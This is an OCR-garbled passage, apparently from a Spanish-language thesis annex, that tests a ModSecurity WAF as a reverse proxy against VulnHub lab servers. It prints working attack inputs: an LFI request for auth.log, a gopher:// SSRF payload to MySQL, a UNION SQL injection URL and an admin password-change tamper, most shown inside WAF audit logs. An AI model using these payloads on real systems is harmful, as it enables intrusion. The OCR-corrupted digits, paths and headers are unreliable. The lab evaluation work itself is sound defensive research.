Log de auditoria registrado por ModSecurity

--818ad358-A—-

[21/0ct/2823:87:16:48.9549280 --85081 ZTPBM?gmKf0i9slosiYSwhnAAg 192.168.10.150 668244 192.168.18.5
12}

--818ad358-B--

GET http:~swaf-utn.com.ecsconsolesfile.php?file=svarslogsauth.loy HTTP-1.1

Host : waf-utn.com.ec

User-Agent: MozillarD.8 (X11:; Linux x86_64; rv:189.8) Gecko-28188181 Firefox-115.8

ficcept: text~ html,applicationsxhtml+xml,application->ml:q=0.9,image avif, image webp,= = q=0.8
ficcept-Language: en-US,en:g=8.5

Accept-Encoding: gzip, deflate

DNT: 1

Cownection: keep-alive

Upgrade-Insecure-Requests: 1

--B18ad358-F—-

HTTF.-1.1 483 Forhidden

Content-Length: 218

Keep-Alive: timeout=5, max=188

Commection: Heep-Alive

Content-Type: text html: charset=iso-8859-1

--818ad358-E—-

<tDOCTYPE HTHML PUBLIC "—---/IETF,-DTD HTHML 2.8./EN"">
<html><head>

<title>483 Forbidden{ title>

<<head><body>

<h1>Forbidden<sh1>

<p>You don’t hawve permission to access ~consolesfile.php
on this server.<,p>

<#body><-html>

--818ad358-H--

Message: Access denied with code 483 (phase 2). Matched phrase "var.log-auth.log" at ARGS:file. [fil

e "setcshttpd- modsecurity.d/coreruleset-3.3.4rules-REQUEST-938-APPL ICATION-ATTACK-LFI.conf "] [line
98”1 [id "9381208"1 [msy "0S File Access Attempt”] [data "Matched Data: varslog-auth.log found withi

n ARGS:file: ~uvarslog-auth.log”] [severity "CRITICAL"]1 [wer "OWASP_CRS-3.3.4"1 [tag "applicatiow-mu]

ti"1 [tag "language-multi"1 [tag “platform-multi'] [tag “attack-1fi"1 [tag "paranoia-leuvel~1"1 [tag
"OWASP_CRS"] [tay “capecrs1888.,235-1953-126"1 [tay "PCI/6.5.4"]

Apache-Error: [file "apacheZ util.c”] [line 2711 [level 31 [client 192.168.168.1581 ModSecurity: Acce

ss denied with code 483 (phase 2). Matched phrase "war/logsauth.log” at ARGS:file. [file "~etc/http

/modsecurity.dscoreruleset-3.3.4-rules/REQUEST-938-APFLICATION-ATTACK-LFI.conf"]1 [line ''98"'1 [id "93

A128"1 [msg ''0S File Access Attempt"] [data “"Matched Data: war~log-auth.log found within ARGS:file:

suars logsauth. log”1 [severity "CRITICAL"1 [ver "OWASP_CRS.3.3.4"1 [tag "application-multi”]1 [tag "1

nguage—-multi'’]l [tag "platform-mlti”] [tag "attack-1fi"]1 [tag 'parancia-levels1"]1 [tag "'OLMSP_CRS"1
[tay "capec-1888-255-153/126"1 [tag "PCI~6.5.4"]1 [hostname "waf-utn.com.ec”] [uri “sconsole-file.ph

"1 [unigue_id “"ZTPBMI?gmKfoi9s losiYSwAnang™ 1

fction: Intercepted (phase 2)

Apache-Handler: proxy-server

Stopwatch: 16978986883951649 3326 (- - -)

StopuwatchZ: 169789386A5951649 33Z28: combined=2118, pl=1877, pZ=¥7Z, p3=A, p4-H, p5=Z68, =r=13Z, sw-1,
1=8, gc=H

Response-Body-Transformed: Dechunked

Producer: Mod3ecurity for Apache-s2.9.6 (http: /wae.modsecurity.org-); OWASP_CRS-3.3.4.

Server: ApachersZ.4.6 (CentO3)

Eng ine—Mode: "ENABLED"

--818ad358-2—-

Figura C.39
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
1P del servidor vulnerable “HARRYPOTTER:NAGINI”

Archive Maquina Ver Entrada Dispositivos Ayuda
GHU mano £.3.1 Fichero: retcs/httpd-sconf .d-test.conf Modif icado

<UirtualHost =:88>
ServerName waf -utn.com.ec

ProxyPreservetost On

ProxyPass ~ http:r-192.168.18.15~

ProxyPassReverse ~ http:--192.168.18.15~
</VirtualHost>
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2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.40).

Figura C.40
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use system proxy settings

O Manual proxy configuration

HTTP Proxy| 192.168.10.5|

3. Replicar los pasos del 1 al 7 detallados en el Anexo A, subseccion A10:2021 —
Falsificacion de solicitudes del lado del servidor (SSRF), desde el reconocimiento
hasta la generacion de la peticion SSRF a la base de datos del servidor para el
usuario goblin.

4. En la interfaz de la url http://waf-utn.com.ec/internalResourceFeTcher.php se
ingresa la peticion SSRF generada con Gopherus para listar las bases de datos del
servidor “HARRYPOTTER:NAGINI”. En la Figura C.41 se observa que la
peticion SSRF generada en el servidor fue bloqueada por el WAF.

Figura C.41
Bloqueo del WAF a la peticion SSRF en el servidor “HARRYPOTTER:NAGINI”

® 403 Forbidden X 83 Settings x  + v

& & waf-utn.com.ecf/internalResourceFeTcher.php?url=g ¥

KaliLinux # KaliTools = KaliDocs M KaliForums e Kali NetHunter Exploit-DB

Forbidden

You don't have permission to access /internalResourceFeTcher.php on this server.

5. En la Figura C.42 se presenta el log de auditoria registrado por ModSecurity
después de activado el blogueo a la peticion SSRF ejecutada en el paso 4. Del log
de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 21/0ct/2023:11:31:04
e Direccion IP del atacante: 192.168.10.16
e (Codigo de respuesta HTTP: Access denied with code 403 (phase 2)
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e Reglaaplicada: REQUEST-920-PROTOCOL-ENFORCEMENT.conf
e Tiempo de procesamiento en cada fase: p1=1003 ps, p2=308 us, p3=0 ps,
p4=0 ps, p5=174 ps, sr=149 us, sw=0 us, gc=0 us

Figura C.42

Log de auditoria registrado por ModSecurity

--347bbalb-A--
[Z1/0ct,2823:11:31:84 .357481 --B5881 ZTT8yEIUJErgOEEKVAFARAAAA 192.168.168.16 43074 192.168.168.5 88

--347bbalb-B—-
Host : waf-utn.com.ec

User-Agent : Mozillars5.8 (X11: Linux xB6_64; rv:1689 .8) Gecko-ZB188181 Firefox-115.8

fAccept: textshtml,applicationsxhtml+xml,application=ml:q=8.3,image~avif, image webp,= =;q=8.8
Accept-Language: en-US,en;q=8.5

ficcept-Encoding: gzip, deflate

Referer: http:-s-waf -utn.com.ecsinternalResourceFeTcher . php

DNT: 1

Commect ion: keep-alive

Upgrade-Insecure-Requests: 1

--347bbalb-F—-

HTTF.-1.1 483 Forbidden

Content-Length: 229

Keep-Alive: timeout=5, max=188

Commect ion: Keep-Alive

Content-Type: textrshtml; charset=iso-8859-1

--347bbalb-E--
<tDOCTYPE HTML PUBLIC “-,-IETF,DTD HTML Z.8./EN">

<h1>*Forbidden<sh1>

<p>You don’t have permission to access ~internalResourceFeTcher.php
on this =server.<p>

<sbody><<html>

--347bbalb-H--
Message: Access denied with code 483 (phase 2). Found 37 byte(s) in ARGS:url outside range: 1-255. [
file "retc/httpd modsecurity.d coreruleset-3.3.4/rules/REQUEST-928-PROTOCOL-ENFORCEMENT .conf "1 [line

"517"1 [id 9282781 I[msg “Invalid character in reguest (null character)"”] [data "ARGS:url=gopher:/|
127 .8.8.1:3386./_\xa5\xHB\xB8%xB 15 xB5N\xab \xF f \xB15\xB8%\<BB xB0\xH 1 1 \<BE\<BO\ B0 xB8% <88 xBO\ xBONxBBNx
BB BB xB B xB8% B8 xBB\xBE\xBEN\BEN\xBAN\xBON xBE\xBON\ BB xBBgob 1 innxB8N\xBBmysg]l_native_password\xB8f\x
A3_oss<B5L inuxsxBc_client_names=B81 ibmysg 1N<B4_pids=B027255%HF _client_versions=B65.7.22%<B9_platfor
m\xB6x86_645xBcprogram_namesxBSmysg 1 \x<10%xB80\xB85xH8%>H3SHOW databases :\xB1\xBAN<HE\xBB8\<H1"]1 [sever
ity "CRITICAL"]1 [ver "DWASP_CRS,3.3.4"]1 [tag "application-multi"] [tag “language-multi”] [tag “platf
orm-multi’] [tag “attack-protocol™] [tag “paranoia-levelrs1"1 [tag "OWASP_CRS"1 [tag “capec-180868-Z218.
272"1
Apache-Error: [file “apacheZ_util.c"1 [line 2711 [level 31 [client 192.168.18.161 HModSecurity: Acces
s denied with code 483 (phase 2). Found 37 buyte(s) in ARGS:url outside range: 1-255. [file "setcshtt
pd-modsecurity.d- coreruleset-3.3.4-rules/REQUEST-928-PROTOCOL-ENFORCEMENT .conf 1 [line 517”1 [id "9
28278"1 [msg "Invalid character in request (null character)”] [data "ARGS:url=gopher:,-127.8.8.1:338
5SS DNSSSHEBS S BB SS TN SKBENSSKABS S HE TSSOSO TSNS S S HKABSSSSKEBSSS S HBBN S SSHB T TSSSSHBBN S
BE S S S BN S S SEBN S S SEBN S S SOBBN S S S BBNSSSSEBN S SSBBN S SSOBBNSS SE BN S SSSEBS SN S BN S S SBBN S SSoEBN S S BB
NANNE BN N EBN SN NN NBBNN N NEBNNBEN N xBBgob 1 inssS BN xBBmysg 1 _nat ive_password\Nwaa<BBENN
“xB3_ossSSSHBSL EnuxssssxBe_client_namessssx<B81ibmysg IsSSsxBd_pidsssseB527255W W8 _client_versions
NAAXBES .Y L 225N xBI_p latf orm\sSSxBExBO_B4NS S\ xBoprogram_namesSss\xBSmysq INSSSXLAN NS S BEN NN BB\ B8
NAWAXBISHOW databases :SSSNEBINSNBBEN NS XBENSSBENNNxB1"] [severity "CRITICAL"1 [ver “OWASP_CRS-3.
3.4"1 [tag “application-multi”] [tag “language-multi”] [tag “platform-multi”] [tag “attack-protocol™
"paranoia-levelrs1"1 [tag "ODWASP_CRS"]1 [tag “capec-1888,218-272"1 [hostname "waf-utn.com.ec"]
internalResourceFeTcher.php”] [unigque_id "ZTPB8YE9UJukBrg0EEKUAFARAAAA" ]
¢ Intercepted (phase 2)

fipache-Handler: proxy-server

Stopwatch: 16979858643551208 2426 (- - -)

StopwatchZ: 1697985864355128 2426; combined=1485, pl=1883, p2=388, p3=8, p4=8, p5=174, sr=149, sw=8,

L
Response-Body-Transformed: Dechunked
Producer: ModSecurity for fApache/2.9.6 (http:/ was.modsecurity.orgs); OWASP_CRS-3.3.4.

Server: ApacherZ2.4.6 (Cent03)
Engine-Mode: “"ENABLED"

--347bbalb-Z--
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ANEXO D: IMPLEMENTACION DE LA SOLUCION WAF MODSECURITY
APACHE COMO PROXY INVERSO EN AMBIENTE DE CONTENEDORES
(DOCKER).

Para la instalacion y configuracion de la solucion WAF ModSecurity Apache como
proxy inverso en ambiente de contenedores se debe tener en cuenta los siguientes

requerimientos:

e Sistema operativo: CentOS 7 minimal, sin entorno grafico.

e Tamaiio de disco duro: 50 GB.

e Memoria RAM: 2 GB.

e Procesadores: 2.

e Limite de ejecucion por procesador: 100 %.

e Paquete de contenedores: Docker 24.0.6.

e Imagen: owasp/modsecurity-crs:3.3.5-apache-202308071108.

e Paquetes preinstalados en la imagen: Apache-2.4.57, ModSecurity-2.9.7 y
CRS-3.3.5.

Una vez verificados los requisitos se procede a la ejecucion de los pasos detallados a

continuacion:

1. Instalacién y actualizacion del sistema operativo CentOS 7 minimal en una
maquina virtual.

2. Después de la actualizacion del sistema operativo se debe agregar el repositorio de
Docker haciendo uso de los comandos sudo yum install -y yum-utils y sudo yum-
config-manager  --add-repo  https://download.docker.com/linux/centos/docker-

ce.repo (ver Figura D.1).

Figura D.1
Inclusion del repositorio de Docker en CentOS

[rootPlocalhost 71# =sudo yum install yum-utils

[rootPlocalhost 1# sudo yum-conf ig-manager —-add-repo https:~~download.docker.com.linux centos-dock
EX-CE.IrEpo

Comp lementos cargados (fastestmirror

adding repo from: https: -download.docker .com-linux- centos~docker-ce.repo

grabbing file https:-/sdowmload.docker.com-1linuescentossdocker-ce.repo to setc/yum.repos.dsdocker-ce.
repo
repo saved to ‘etc/yum.repos.d/docker-ce.repo
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3. Instalacion de Docker, inicializacion del servicio y habilitacion de inicio
automatico en el arranque del sistema operativo mediante los comandos sudo yum
install docker-ce, sudo systemctl start docker y sudo systemctl enable docker (ver
Figura D.2).

Figura D.2

Instalacién e inicializacién del servicio Docker

[root@localhost 71# sudo yum install docker-ce

[root@localhost ~1# sudo systemctl start docker

[rootPlocalhost 71# sudo systemctl enable docker

Created symlink from setc/systemd system/multi-user.target wants/docker.service to /usr/lib/systemd/
systemsdocker .service.

[root@Plocalhost “1# sudo systemctl status docker

1 docker.service - Docker Application Container Engine

Loaded: loaded (susrslibssystemdrssystem~docker.service: enabled; wvendor preset: disabled)
Active: active (running) since mié 2823-18-84 14:28:48 -85: 42s ago
Docs: https:r/docs.docker.com
Main PID: 8292 (dockerd)
CGroup: /system.slicesdocker.service
L8292 susr/binsdockerd -H fd:/r --containerd=srun/containerd.containerd.sock

4. Verificacion de la version de Docker instalada mediante el comando sudo Docker --

version (ver Figura D.3).

Figura D.3

Verificacion de la versién del servicio Docker

[root@localhost ~1# sudo docker --wersion
Docker wversion 24.8.6, build edZ2Z23bc

5. Descarga de la imagen OWASP ModSecurity desde el repositorio DockerHub
mediante el comando docker pull owasp/modsecurity-crs:3.3.5-apache-
202308071108 (ver Figura D.4).

FiguraD.4
Descarga de la imagen OWASP ModSecurity desde DockerHub

[rootPlocalhost "1# docker pull owaspsmodsecurity-crs:3.3.5-apache-ZB8Z23086871188
3.3.5-apache-282388871188: Pulling from owasps/modsecurity-crs
64BeBaadf?5a: Pull complete
: Pull complete
: Pull complete
: Pull complete
: Pull complete
bI3b4fBcZa4?: Pull complete
chI49c15f289: Pull complete
: Pull complete
t Pull complete
: Pull complete
: Pull complete
: Pull complete
: Pull complete
. sha2ab:852cfe916f97adbec2?75e7f 373dbcBe? 74a37d17Zbobod 7ef ab? 2245eA907hI2
! Downloaded newer image for owasp-smodsecurity-crs:3.3.5-apache-ZB2388671185
docker . io/owasp/modsecur ity-crs:3.3.5-apache -202308071188
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6. Ejecucion y verificacion de un contenedor basado en la imagen descargada en el
paso 5 mediante los comandos docker run -d -p 80:80 --name modsecurity-
container owasp/modsecurity-crs:3.3.5-apache-202308071108 y docker ps -a (ver
Figura D.5).

Figura D.5

Ejecucion del contenedor modsecurity-container

[root@localhost “1# docker run -d -p BB:B@ --name modsecurity-container owasp-smodsecurity-cr=:3.3.5
apache-202388871188
664f9919597847697e834e 73086 1ad4?7d38alc1bebd 11 4b72e4227a34e6a 485

[root@localhost 71t docker ps -a

IMAGE COMAND CREATED
FORTS NAMES
owaspsmodsecurity-crs:3.3.5-apache-202388871188  “sdocker-entrypoint.s” 5 minutes
Up 5 minutes (healthy) ©.8.8.8:88->88-tcp, :::80->88-tcp modsecurity-container
[root@localhost 71# docker exec -it 664£99195978 bin~bash_

7. Para ingresar al contenedor y hacer las configuraciones adicionales se debe abrir
una terminal mediante el comando docker exec -it 66499195978 /bin/bash. Una
vez dentro se debe modificar el archivo modsecurity.conf disponible en el directorio
/etc/modsecurity.d para habilitar el bloqueo de ModSecurity al cambiar la sentencia

SecRuleEngine de DetectionOnly a On (ver Figura D.6).

Figura D.6
Habilitacion de ModSecurity en el archivo modsecurity.conf

[LOOFGIOCY [POZ{ . 1# JOCKEL BXEC -If gediaalazalg “PIUSNpIzp_

GNU nano 7.2 modsecurity.conf

[SecRuleEngine On

[SecRequestBodyfccess On

8. A continuacion, se debe empezara a configurar el proxy inverso en Apache
dirigiendose al directorio /usr/local/apache2/conf/extra para crear un nuevo archivo
de configuracion mediante el comando touch httpd-proxy-inverso.conf (ver
Figura D.7).
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Figura D.7

Creacion del archivo de configuracion httpd-proxy-inverso.conf

rootB664£99195978 : rusr- local apacheZ conf rextrat touch httpd-proxy-inverso.conf

rootB664£99195978 : ~usr- local apaches conf vextrat chmod 664 httpd-proxy-inverso.conf

9. Mediante el comando nano /usr/local/apache2/conf/extra/httpd-proxy-inverso.conf
se edita el archivo creado en el paso 8 para afiadir las lineas mostradas en la
Figura D.8 con la finalidad de cargar el modulo proxy de Apache e incluir un

archivo de configuracion setup_proxy.conf que se creara posteriormente.

Figura D.8
Edicion del archivo de configuracion httpd-proxy-inverso.conf

GNU nmano 7.2 -susrslocal-sapacheZ conf extrashttpd-proxy-inverso.conf
LoadModule proxy_module ~usr-local-apacheZ-modules-mod_proxy.so
Include retc/modsecurity.drssetup_proxy.conf

10. En el directorio /etc/modsecurity.d se crea el archivo de configuracion
setup_proxy.conf, incluido en el paso 9, y se le dan los permisos correspondientes

de acuerdo con el detalle presentado en la Figura D.9.

FiguraD.9
Creacion del archivo de configuracion setup_proxy.conf

root@664f99195978 : retc/modsecurity.dt touch setup_proxy.conf
rootB@664f99195978 : retc/modsecurity.dt chmod 644 setup_proxy.conf
root@664f99195978 : retc/modsecurity.dit 1s -la

root root 48 Oct
root root 4896 Oct
root root 1487 fAug
root root 9847 Jan
root root 14 Aug
root root 693 Oct
root root 8 Oct
root root 53146 Jan

2Z2:33 .

21:45 ..

11:41 modsecurity-override.conf
modsecur ity .conf
owasp-crs -> sopt/owasp-crs
setup.conf
setup_proxy.conf
unicode .mapping

-rW-r--r--.
-TW-rW-r--.

il il
e =] e =] W W

11. Haciendo uso del comando nano /etc/modsecurity.d/setup_proxy.conf se edita el
archivo creado en el paso 10 para incluir las lineas presentadas en la Figura D.10,

donde la direccion IP corresponde a la direccion del servidor web vulnerable.

Figura D.10

Edicién del archivo de configuracién setup_proxy.conf

GNU nano 7.2 setc/modsecurity.d-setup_proxy.conf
UVirtualHost =:8@%>
ServerName waf-utn.com.ec
ProxyPreserveHost On

ProxyPass ~
ProxyPassReverse ~
~UirtualHost>
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12. Se edita el archivo de configuracion de Apache mediante el comando
nano /usr/local/apache2/conf/apache2.conf para incluir los archivos de

configuracién presentados en la Figura D.11.

Figura D.11

Edicidon del archivo de configuracién apache2.conf

Include confrextrarhttpd-locations.conf

Include confr extrashttpd-modsecurity.conf
Include conf/extrashttpd-proxy-inverso.conf

13. Revision de la configuracion de Apache e inicializacion del servicio (ver
Figura D.12).

Figura D.12

Revision de la configuracion de Apache e inicializacion del servicio

rootB@664f99195978 : retc modsecurity.d#t cd ~susr-localrapacheZ
rootR6e64f99195978 : susr-local apacheZ#t apachectl configtest
Syntax OK

iroot@664199195978 : yusr/local sapacheZ#t sudo rusrslocal-sapacheZ- binsapachect]l start

[Thu Oct @85 88:59:37.634167 28231 [so:warnl [pid 7474:tid 1485316995828481 AHA1574: module proxy_mo
1le is already loaded, skipping

httpd (pid 1) already running

14. Una vez puesta en marcha el servicio web se debe salir de la terminal del
contenedor modsecurity-container con el comando exit para hacer una nueva
imagen que contenga las configuraciones realizadas mediante el comando docker
commit modsecurity-container modsecurity-proxy-inverso-imagen (ver
Figura D.13).

Figura D.13

Extraccion y verificacion de imagen con las configuraciones realizadas

rootR664f 99195978 : susr/local sapachedit exit

jroot@localhost ~1# docker commit modsecurity-container modsecurity-proxy-inverso-imagen
[ha256 :6bB75f 22f 2886ch337df Bdcf 1abB85d31e886d42313c82dd32518f bd33da36abf 4

[root@localhost ™1 docker image ls

REPOSITORY TAG IMAGE ID CREATED SIZE
odsecur ity-proxy-inverso-imagen latest 6bA?OFZ22f288 6 minutes ago  3Z21MB

owasp modsecurity-crs 3.3.5-apache-202388871188 bb6ed1B6dbdBZ B weeks ago ZHABME

15. Con la nueva imagen se ejecuta el contenedor final mediante el comando docker
run -d -p 80:80 —name Apache_Mosecurity Proxy_Container modsecurity-proxy-

inverso-imagen (ver Figura D.14).
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Figura D.14
Ejecucion del contenedor final Apache_Mosecurity Proxy Container

[root@localhost “1# docker run -d -p 88:88 --name Apache_Modsecurity_Proxy_Container modsecurity-pro)

<y - inverso-imagen
[381aa74c?cBb3f 942267ea3552787662389808d88a896f 17a96e812e5d 7ef B6Y

16. Finalmente se verifica la direccion IP de la maquina que ejecuta Docker y se
configura el proxy en el navegador del cliente (S.0. Kali Linux) para el

procesamiento de las peticiones web (ver Figura D.15).

Figura D.15
Configuracion del proxy inverso en el navegador del cliente

Configure Proxy Access to the Internet
Mo proxy
Auto-detect proxy settings for this network

Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 192.16

Also use this proxy for HTTPS
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ANEXO E: EXPLOTACION DE VULNERABILIDADES REPORTADAS EN
OWASP TOP 10 CON LA PROTECCION DE LA SOLUCION WAF COMO
PROXY INVERSO EN AMBIENTE DE CONTENEDORES (DOCKER).

En el presente anexo se ejecutan ataques sobre servidores web vulnerables de
entrenamiento con la proteccion de la solucion WAF como proxy inverso en ambiente
de contenedores, con la finalidad evaluar su eficacia frente a las vulnerabilidades
reportadas en OWASP TOP 10.

A continuacién, se presentan los resultados obtenidos al repetir los ataques ejecutados

en el Anexo A sobre los servidores web vulnerables.
A01:2021 — Pérdida de control de acceso

Para este apartado se replica la explotacion del servidor vulnerable “DARKHOLE:1”
de la plataforma VulnHub.

Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la [P 192.168.10.14 del servidor vulnerable
“DARKHOLE:1” (ver Figura E.1).

Figura E.1
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP del servidor vulnerable “DARKHOLE: 1"

GHU nano 7.2 retcsmodsecurity.d-setup_proxy.conf
<UirtualHost =:88>
ServerName waf -utn.com.ec
ProxyPreserveHost On

ProxyPass ~
ProxyPassReverse ~
</UirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucibn WAF como contenedor (ver
Figura E.2).

133



Figura E.2

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use system proxy settings

@Man ual proxy configuration

HTTP Proxy | 192.168.10.6

3. Replicar los pasos del 1 al 6 detallados en el Anexo A, subseccion A01:2021 —
Pérdida de control de acceso, desde el reconocimiento hasta la interceptacion de la
peticion POST para el cambio de contrasefia.

4. A la peticion interceptada se le modifica los parametros password e id para enviarla

al servidor e intentar cambiar la contrasefia del usuario admin (ver Figura E.3).

Figura E.3
Peticion POST de cambio de contrasefia para el usuario admin del servidor

Burp Suite Community Edition v2023.10.1.1 - Temperary Project

Burp  Project Intruder Repeater View Help

Dashboard Target Proay Intruder Repeater Collaborator Sequencer Decoder Comparer {0} Settings
Logger Organizer Extensions Learn
Intercept HTTP history WebSockets history {5} Prowy settings

f Request to http:/fwaf-utn.com.ec:B0 [192.168.10.6]

Forward Drop Action Open browser Comment thisifem W HTTPA @
Raw Hex n = Inspector o = - & X
iPOST Jdashboard.php?id=2 HTTP/1.1 ]
= ot . & o "
3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Request attributes > v
Firefox,/115.0
4 Accept: Request query parameters 1 ~
text /html,application/xhtml+xml, application/xml;g=0.9,1mage/avif, image /we
bp,*/*;0=0.8 Name Value =
5 Accept-Language: en-US,en:g=0.5
5 Accept-Encoding: gzip, deflate, br id 2 >
7 Referer: http://waf-utn.com.ec/dashboard.php?id=2
S Content-Type: application/x-www-Torm-urlencoded
S Content-Length: 24
10 Origin: http://waf-utn.com.ec
11 DMT: 1 Request bedy parameters 2 -~
12 Connection: close
13 Cookie: PHPSESSID=daq2bS55sa832313cfBuSfttoti Name Value =
14 Upgrade-Insecure-Reguests: 1 ; :
1 password adminadmin >
1 password=adminadmin&id=1| id 1 by

5. En este escenario, el WAF implementado en ambiente de contenedor con las
configuraciones por defecto no blogqueo6 la peticion maliciosa enviada al servidor, lo
que provoca el cambio de contrasefia del usuario admin. La validacion de las

credenciales admin : adminadmin se presenta en la Figura E.4.
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FiguraE.4
Validacion de credenciales admin : adminadmin alteradas por vulnerabilidad de con-
trol de acceso en el servidor “DARKHOLE:1"”

n.com.ect

INFORMATION

A02:2021 — Fallas criptograficas

Para este apartado se replica la explotacion del servidor vulnerable
“BLACKMARKET:1” de la plataforma VulnHub.

Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la [P 192.168.10.19 del servidor vulnerable
“BLACKMARKET:1” (ver Figura E.5).

Figura E.5
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP del servidor vulnerable “BLACKMARKET:1"

Archivo Maquina Ver Entrada Dispositivos Ayuda

GNU nano 7.2 retc/modsecurity.dssetup_proxy.conf

<UirtualHost =:88>
ServerName waf -utn.com.ec

ProxyPreserveHost On

ProxyPass ~

ProxyPassReverse ~
<{sVirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.6).
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Figura E.6

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use systemn proxy settings

© Manual proxy configuration

HTTP Proxy| 192.168.10.6

3. Replicar los pasos del 1 al 5 detallados en el Anexo A, subseccion A02:2021 —
Fallas criptograficas, desde el reconocimiento hasta el proceso de listado de
directorios para identificar la ruta http://waf-utn.com.ec/vworkshop/spareparts
store.php.

4. Al hacer uso de http://waf-utn.com.ec/vworkshop/sparepartsstoremore
.php?sparepartid=-1%27%20union%?20select%201,2,3,schema_name,5,6,7%20fro
m%?20information_schema.schemata%?20limit%201,1--%20- para identificar la
segunda base de datos configurada en el servidor se activa el bloqueo del WAF (ver
Figura E.7).

Figura E.7
Blogueo del WAF a la ejecucién de la consulta via SQL Injection

#» 403 Forbidden x4+ v

W A& waf-utn.com.ec/vworkshop/sparepartsstore.php?sp: ¥ © 9

KaliLinux # KaliTools = KaliDocs M Kali Forums e Kali NetHunter Exploit-DB

Forbidden

You don't have permission to access this resource.

5. En la Figura E.8 se presenta el log de auditoria registrado por ModSecurity después
de activado el bloqueo a la peticion hecha en el paso 4. Del log de auditoria se
puede extraer metadatos importantes como:

e Fechay hora del ataque: 24/0ct/2023:19:52:42

e Direccion IP del atacante: 192.168.10.16

e (Codigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Regla aplicada: REQUEST-942-APPLICATION-ATTACK-SQLI.conf
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e Tiempo de procesamiento en cada fase: p1=815 ps, p2=1611 ps, p3=0 ps,
p4=0 ps, p5=290 s, sr=228 us, sw=0 ps, gc=0 us

Figura E.8
Log de auditoria registrado por ModSecurity

{"transaction":{"time":"24-0ct-2023:19:52:42.953863 +BBO0", "transaction_id": " "ZTggiwmRGsAFbN_eUkSi_gf
AAEE", "remote_address":"192.168.18.16", "remote_port":34694,"local_address":"172.17.8.2","local_port"
1801, "request” : {"request_line" :"GET http: /waf -utn.com.ec workshop/sparepartsstore. php?sparepartid=
-1x272Bunionx2Bse lect281,2, 3, schema_name, 5,6, 7+20f rom-ZB8 inf ormat ion_schema . schematax201 imit:201,1-
-#28- HTTP-1.1", "headers": {"Host":"waf -utn.com.ec","User-Agent” :"Mozilla,5.8 (X11: Linux xB6_64: ru:
189.8) Gecko-28188181 Firefox-115.8","Accept™:"text html,application/xhtml+xml,application sml;:q=8.9
. imagesavif , imageswebp, == q=8.8", "Accept-Language™: "en-US,en:qg=8.5", "Accept-Encoding™ : "gzip, def lat
e"”, "DNT":"1","Comection" :"keep-alive", "Cookie": "PHPSESSID=3s irfioBkuvin?Z2r4unuItchukl”, "Upgrade-Inse
cure-Requests"”:"1"}}, "response” : {"protocol” :"HTTP-1.1", "status™ :483, "headers" : {"Content-Length" : 199

", "Keep-Alive":"timeout=5, max=188","Commection":"Keep-Alive","Content-Type":"text html: charset=iso

-8859-1"1, "body" : "<!DOCTYPE HTML PUBLIC “\"-,/IETF--DTD HTML Z2.8--ENN">\n<html><head>\n<title>483 For
bidden<-title>n</head><body>n<hl>Forbidden< h1>n<p>You don’t have permission to access this resou
rce . <sp>wndsbody>< html>n"}, "audit_data":{"messages":["Access denied with code 483 (phase 2). detec
ted SQLi using libinjection with fingerprint "sUE1k’ [file \"retcrmodsecurity.d- owasp-crs/rules/REQU
EST-942-APPLICATION-ATTACK-SQLI.confs"1 [line N"66N"1 [id N"9421885"1 [msg N'SQL Injection Attack De
tected via libinjectionn"1 [data \"Matched Data: sUE1k found within ARGS:sparepartid: -1" union sele

ct 1,2,3,schema_name,5,6,7 from information_schema.schemata limit 1,1-- -~"1 [severity N"CRITICALN"]
[ver S\"OWASP_CRS-3.3.5N"1 [tag N\"application-multin"]l [tag “\"language-multin"l [tag \“platform-mult
is"1 [tag \"attack-sglisn"] [tag “"paranoia-level~1\"1 [tag “\"DWASP_CRS\"]1 [tag \"capec-1888-152,248/
66%"1 [tag “"PCL/6.5.2\"1"1,"error_messages":["[file \"apacheZ_util.c\"]1 [line 2751 [level 31 [clien|
t 192.168.108.161 ModSecurity: Access denied with code 483 (phase 2). detected S{Li using libinjectio|
n with fingerprint ’sUE1k’ [file \"setcsmodsecurity.d owasp-crs/rules-REQUEST-942-APPLICATION-ATTACK
-SQLI.conf"1 [line ~\"665"1 [id N\'"942188%"]1 [msg “"SQL Injection Attack Detected wia libinjections"]
[data \"Matched Data: sUElk found within ARGS:sparepartid: -1’ union select 1,2,3,schema_name,5,6,7
from information_schema.schemata limit 1,1-- -\"1 [severity \"CRITICALN"1 [ver S"OWASP_CRS-3.3.58"1
[tag ~"application-multizn"] [tag “\"language-multizn"] [tag “"platform-multisn"]l [tag s\"attack-sglin"l
[tag “"paranoia-levelrs1N"] [tag S"OWASP_CRS\"]1 [tag N\"capecs/1888.152,248-66%"]1 [tag N"PCL/6.5.2N"1
[hostname \"waf -utn.com.ec\"] [uri \"suworkshopssparepartsstore. phps"1 [unigque_id \"ZTggivmRGsAFbN_e
UkSi_gAAAEEN"1"1,"action”: {"intercepted" :true, "phase":2,"message " : "detected SQLi using libinjection
with fingerprint *sUE1k’"},"handler":"proxy-server”, "stopwatch™: {"p1":815,"p2":1611,"p3" 8, "p4":08,"
5":298,"sr":228,"sw":8,"1":8, "gc" :8}, "response_body_dechunked":true, "producer”: ["ModSecurity for Apal
ches2.9.7 (http://wai.modsecurity.orgs)", "0WASP_CRS-3.3.5"1, "server"”: "Apache", "eng ine_mode" : "ENABLED)
1

A03:2021 — Inyeccion

Para este apartado se replica la explotacion del servidor vulnerable “VENOM:1” de la

plataforma VulnHub.
